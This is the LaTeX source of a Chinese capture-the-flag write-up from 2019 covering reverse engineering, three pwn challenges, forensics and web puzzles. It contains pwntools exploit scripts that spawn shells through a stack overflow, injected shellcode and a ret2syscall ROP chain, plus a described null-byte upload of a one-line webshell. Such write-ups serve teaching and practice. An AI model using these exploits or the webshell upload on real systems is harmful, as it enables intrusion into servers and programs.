|
|
% Options for packages loaded elsewhere
|
|
|
\PassOptionsToPackage{unicode=true}{hyperref}
|
|
|
\PassOptionsToPackage{hyphens}{url}
|
|
|
%
|
|
|
\documentclass[
|
|
|
]{ctexart}
|
|
|
\usepackage{lmodern}
|
|
|
\usepackage{amssymb,amsmath}
|
|
|
\usepackage{ifxetex,ifluatex}
|
|
|
\ifnum 0\ifxetex 1\fi\ifluatex 1\fi=0 % if pdftex
|
|
|
\usepackage[T1]{fontenc}
|
|
|
\usepackage[utf8]{inputenc}
|
|
|
\usepackage{textcomp} % provides euro and other symbols
|
|
|
\else % if luatex or xelatex
|
|
|
\usepackage{unicode-math}
|
|
|
\defaultfontfeatures{Scale=MatchLowercase}
|
|
|
\defaultfontfeatures[\rmfamily]{Ligatures=TeX,Scale=1}
|
|
|
\fi
|
|
|
% Use upquote if available, for straight quotes in verbatim environments
|
|
|
\IfFileExists{upquote.sty}{\usepackage{upquote}}{}
|
|
|
\IfFileExists{microtype.sty}{% use microtype if available
|
|
|
\usepackage[]{microtype}
|
|
|
\UseMicrotypeSet[protrusion]{basicmath} % disable protrusion for tt fonts
|
|
|
}{}
|
|
|
\makeatletter
|
|
|
\@ifundefined{KOMAClassName}{% if non-KOMA class
|
|
|
\IfFileExists{parskip.sty}{%
|
|
|
\usepackage{parskip}
|
|
|
}{% else
|
|
|
\setlength{\parindent}{0pt}
|
|
|
\setlength{\parskip}{6pt plus 2pt minus 1pt}}
|
|
|
}{% if KOMA class
|
|
|
\KOMAoptions{parskip=half}}
|
|
|
\makeatother
|
|
|
\usepackage{xcolor}
|
|
|
\IfFileExists{xurl.sty}{\usepackage{xurl}}{} % add URL line breaks if available
|
|
|
\IfFileExists{bookmark.sty}{\usepackage{bookmark}}{\usepackage{hyperref}}
|
|
|
\hypersetup{
|
|
|
pdftitle={0x3f 新生赛 writeup},
|
|
|
pdfauthor={TooYoungTooSimp},
|
|
|
hidelinks,
|
|
|
}
|
|
|
\urlstyle{same} % disable monospaced font for URLs
|
|
|
\usepackage{color}
|
|
|
\usepackage{fancyvrb}
|
|
|
\newcommand{\VerbBar}{|}
|
|
|
\newcommand{\VERB}{\Verb[commandchars=\\\{\}]}
|
|
|
\DefineVerbatimEnvironment{Highlighting}{Verbatim}{commandchars=\\\{\}}
|
|
|
% Add ',fontsize=\small' for more characters per line
|
|
|
\newenvironment{Shaded}{}{}
|
|
|
\newcommand{\AlertTok}[1]{\textcolor[rgb]{1.00,0.00,0.00}{\textbf{#1}}}
|
|
|
\newcommand{\AnnotationTok}[1]{\textcolor[rgb]{0.38,0.63,0.69}{\textbf{\textit{#1}}}}
|
|
|
\newcommand{\AttributeTok}[1]{\textcolor[rgb]{0.49,0.56,0.16}{#1}}
|
|
|
\newcommand{\BaseNTok}[1]{\textcolor[rgb]{0.25,0.63,0.44}{#1}}
|
|
|
\newcommand{\BuiltInTok}[1]{#1}
|
|
|
\newcommand{\CharTok}[1]{\textcolor[rgb]{0.25,0.44,0.63}{#1}}
|
|
|
\newcommand{\CommentTok}[1]{\textcolor[rgb]{0.38,0.63,0.69}{\textit{#1}}}
|
|
|
\newcommand{\CommentVarTok}[1]{\textcolor[rgb]{0.38,0.63,0.69}{\textbf{\textit{#1}}}}
|
|
|
\newcommand{\ConstantTok}[1]{\textcolor[rgb]{0.53,0.00,0.00}{#1}}
|
|
|
\newcommand{\ControlFlowTok}[1]{\textcolor[rgb]{0.00,0.44,0.13}{\textbf{#1}}}
|
|
|
\newcommand{\DataTypeTok}[1]{\textcolor[rgb]{0.56,0.13,0.00}{#1}}
|
|
|
\newcommand{\DecValTok}[1]{\textcolor[rgb]{0.25,0.63,0.44}{#1}}
|
|
|
\newcommand{\DocumentationTok}[1]{\textcolor[rgb]{0.73,0.13,0.13}{\textit{#1}}}
|
|
|
\newcommand{\ErrorTok}[1]{\textcolor[rgb]{1.00,0.00,0.00}{\textbf{#1}}}
|
|
|
\newcommand{\ExtensionTok}[1]{#1}
|
|
|
\newcommand{\FloatTok}[1]{\textcolor[rgb]{0.25,0.63,0.44}{#1}}
|
|
|
\newcommand{\FunctionTok}[1]{\textcolor[rgb]{0.02,0.16,0.49}{#1}}
|
|
|
\newcommand{\ImportTok}[1]{#1}
|
|
|
\newcommand{\InformationTok}[1]{\textcolor[rgb]{0.38,0.63,0.69}{\textbf{\textit{#1}}}}
|
|
|
\newcommand{\KeywordTok}[1]{\textcolor[rgb]{0.00,0.44,0.13}{\textbf{#1}}}
|
|
|
\newcommand{\NormalTok}[1]{#1}
|
|
|
\newcommand{\OperatorTok}[1]{\textcolor[rgb]{0.40,0.40,0.40}{#1}}
|
|
|
\newcommand{\OtherTok}[1]{\textcolor[rgb]{0.00,0.44,0.13}{#1}}
|
|
|
\newcommand{\PreprocessorTok}[1]{\textcolor[rgb]{0.74,0.48,0.00}{#1}}
|
|
|
\newcommand{\RegionMarkerTok}[1]{#1}
|
|
|
\newcommand{\SpecialCharTok}[1]{\textcolor[rgb]{0.25,0.44,0.63}{#1}}
|
|
|
\newcommand{\SpecialStringTok}[1]{\textcolor[rgb]{0.73,0.40,0.53}{#1}}
|
|
|
\newcommand{\StringTok}[1]{\textcolor[rgb]{0.25,0.44,0.63}{#1}}
|
|
|
\newcommand{\VariableTok}[1]{\textcolor[rgb]{0.10,0.09,0.49}{#1}}
|
|
|
\newcommand{\VerbatimStringTok}[1]{\textcolor[rgb]{0.25,0.44,0.63}{#1}}
|
|
|
\newcommand{\WarningTok}[1]{\textcolor[rgb]{0.38,0.63,0.69}{\textbf{\textit{#1}}}}
|
|
|
\setlength{\emergencystretch}{3em} % prevent overfull lines
|
|
|
\providecommand{\tightlist}{%
|
|
|
\setlength{\itemsep}{0pt}\setlength{\parskip}{0pt}}
|
|
|
\setcounter{secnumdepth}{-\maxdimen} % remove section numbering
|
|
|
% Redefines (sub)paragraphs to behave more like sections
|
|
|
\ifx\paragraph\undefined\else
|
|
|
\let\oldparagraph\paragraph
|
|
|
\renewcommand{\paragraph}[1]{\oldparagraph{#1}\mbox{}}
|
|
|
\fi
|
|
|
\ifx\subparagraph\undefined\else
|
|
|
\let\oldsubparagraph\subparagraph
|
|
|
\renewcommand{\subparagraph}[1]{\oldsubparagraph{#1}\mbox{}}
|
|
|
\fi
|
|
|
|
|
|
% Set default figure placement to htbp
|
|
|
\makeatletter
|
|
|
\def\fps@figure{htbp}
|
|
|
\makeatother
|
|
|
|
|
|
|
|
|
\title{0x3f 新生赛 writeup}
|
|
|
\author{TooYoungTooSimp}
|
|
|
\date{2019/03/31}
|
|
|
|
|
|
\begin{document}
|
|
|
\maketitle
|
|
|
|
|
|
{
|
|
|
\setcounter{tocdepth}{3}
|
|
|
\tableofcontents
|
|
|
}
|
|
|
\hypertarget{x3fux65b0ux751fux8d5b-writeup}{%
|
|
|
\section{0x3f新生赛 Writeup}\label{x3fux65b0ux751fux8d5b-writeup}}
|
|
|
|
|
|
\hypertarget{re}{%
|
|
|
\subsection{Re}\label{re}}
|
|
|
|
|
|
\hypertarget{r}{%
|
|
|
\subsubsection{R}\label{r}}
|
|
|
|
|
|
下载可执行文件，用IDA打开，在main函数的最后发现一些mov，将立即数用字符显示即得flag。
|
|
|
|
|
|
\hypertarget{pwn}{%
|
|
|
\subsection{Pwn}\label{pwn}}
|
|
|
|
|
|
\hypertarget{pwn1}{%
|
|
|
\subsubsection{pwn1}\label{pwn1}}
|
|
|
|
|
|
简单的栈溢出
|
|
|
|
|
|
\begin{Shaded}
|
|
|
\begin{Highlighting}[]
|
|
|
\ImportTok{from}\NormalTok{ pwn }\ImportTok{import} \OperatorTok{*}
|
|
|
\NormalTok{pld}\OperatorTok{=}\StringTok{'a'}\OperatorTok{*}\BaseNTok{0x20}\OperatorTok{+}\StringTok{'b'}\OperatorTok{*}\DecValTok{8}\OperatorTok{+}\NormalTok{p64(}\BaseNTok{0x401182}\NormalTok{)}
|
|
|
\NormalTok{sh}\OperatorTok{=}\NormalTok{process(}\StringTok{'./01'}\NormalTok{)}
|
|
|
\NormalTok{sh.sendline(pld)}
|
|
|
\NormalTok{sh.interactive()}
|
|
|
\end{Highlighting}
|
|
|
\end{Shaded}
|
|
|
|
|
|
\hypertarget{pwn2}{%
|
|
|
\subsubsection{pwn2}\label{pwn2}}
|
|
|
|
|
|
通过提示可以找到C++的全局变量初始化函数，发现有mmap一块RWX的内存，而立即数反汇编后是\texttt{jmp\ rsp}，栈又可执行，所以题解如下：
|
|
|
|
|
|
\begin{Shaded}
|
|
|
\begin{Highlighting}[]
|
|
|
\ImportTok{from}\NormalTok{ pwn }\ImportTok{import} \OperatorTok{*}
|
|
|
\NormalTok{context.arch }\OperatorTok{=} \StringTok{'amd64'}
|
|
|
\NormalTok{sh }\OperatorTok{=}\NormalTok{ process(}\StringTok{'./02'}\NormalTok{)}
|
|
|
\NormalTok{pld }\OperatorTok{=} \StringTok{'a'} \OperatorTok{*} \BaseNTok{0x40} \OperatorTok{+} \StringTok{'b'} \OperatorTok{*} \DecValTok{8} \OperatorTok{+}\NormalTok{ p64(}\BaseNTok{0x666666660000}\NormalTok{) }\OperatorTok{+}\NormalTok{ asm(shellcraft.sh())}
|
|
|
\NormalTok{sh.sendline(pld)}
|
|
|
\NormalTok{sh.interactive()}
|
|
|
\end{Highlighting}
|
|
|
\end{Shaded}
|
|
|
|
|
|
\hypertarget{pwn3}{%
|
|
|
\subsubsection{pwn3}\label{pwn3}}
|
|
|
|
|
|
没有pie，静态链接，显然是ret2syscall。用ROPgadget找到那些地址直接用就行了。注意当目标地址中含有\texttt{\textbackslash{}x0a}的时候会导致输入截断，因为\texttt{\textquotesingle{}\textbackslash{}n\textquotesingle{}\ ==\ \textquotesingle{}\textbackslash{}x0a\textquotesingle{}}。
|
|
|
|
|
|
\begin{Shaded}
|
|
|
\begin{Highlighting}[]
|
|
|
\ImportTok{from}\NormalTok{ pwn }\ImportTok{import} \OperatorTok{*}
|
|
|
\NormalTok{adb}\OperatorTok{=}\BaseNTok{0x080570c4}
|
|
|
\NormalTok{cbx}\OperatorTok{=}\BaseNTok{0x0806f1b2}
|
|
|
\NormalTok{bsh}\OperatorTok{=}\BaseNTok{0x080dc068}
|
|
|
\NormalTok{i80}\OperatorTok{=}\BaseNTok{0x0804a31a}
|
|
|
\NormalTok{sh}\OperatorTok{=}\NormalTok{process(}\StringTok{'./03'}\NormalTok{)}
|
|
|
\NormalTok{pld}\OperatorTok{=}\NormalTok{flat([}\StringTok{'a'}\OperatorTok{*}\BaseNTok{0x30}\NormalTok{,}\StringTok{'b'}\OperatorTok{*}\DecValTok{4}\NormalTok{,adb,}\BaseNTok{0xb}\NormalTok{,}\DecValTok{0}\NormalTok{,bsh,cbx,}\DecValTok{0}\NormalTok{,bsh,i80])}
|
|
|
\NormalTok{sh.sendline(pld)}
|
|
|
\NormalTok{sh.interactive()}
|
|
|
\end{Highlighting}
|
|
|
\end{Shaded}
|
|
|
|
|
|
\hypertarget{misc}{%
|
|
|
\subsection{Misc}\label{misc}}
|
|
|
|
|
|
\hypertarget{cap}{%
|
|
|
\subsubsection{cap}\label{cap}}
|
|
|
|
|
|
用提示给的网站修复cap，获得修复后的pcap包，跟踪TCP流，发现有两个位置上是lf和ga，将后面一系列包的这两位连起来就是flag了。
|
|
|
|
|
|
\hypertarget{picture}{%
|
|
|
\subsubsection{picture}\label{picture}}
|
|
|
|
|
|
下载文件，解压后获得图片，用stegsolve打开，发现绿色通道最低位仿佛有信息，导出出来，根据提升修复bmp
|
|
|
header，打开即见flag。
|
|
|
|
|
|
\hypertarget{ux7b7eux5230}{%
|
|
|
\subsubsection{签到}\label{ux7b7eux5230}}
|
|
|
|
|
|
复制粘贴，没啥好说的。
|
|
|
|
|
|
\hypertarget{web}{%
|
|
|
\subsection{Web}\label{web}}
|
|
|
|
|
|
\hypertarget{upload}{%
|
|
|
\subsubsection{upload}\label{upload}}
|
|
|
|
|
|
任意上传，用burpsuite拦截上传请求，使用0x00进行截断，用这种方法上传一句话木马，然后用中国菜刀类的工具浏览服务器目录，很容易就能发现flag
|
|
|
|
|
|
\hypertarget{section}{%
|
|
|
\subsubsection{404}\label{section}}
|
|
|
|
|
|
打开开发者工具，发现虽然看起来是404，实际上是200，flag就在http
|
|
|
headers里面。
|
|
|
|
|
|
\hypertarget{ios88}{%
|
|
|
\subsubsection{ios88}\label{ios88}}
|
|
|
|
|
|
将user-agent改成ios的，然后把版本号都改成88，就能在http
|
|
|
headers里找到flag了。
|
|
|
|
|
|
\end{document}
|
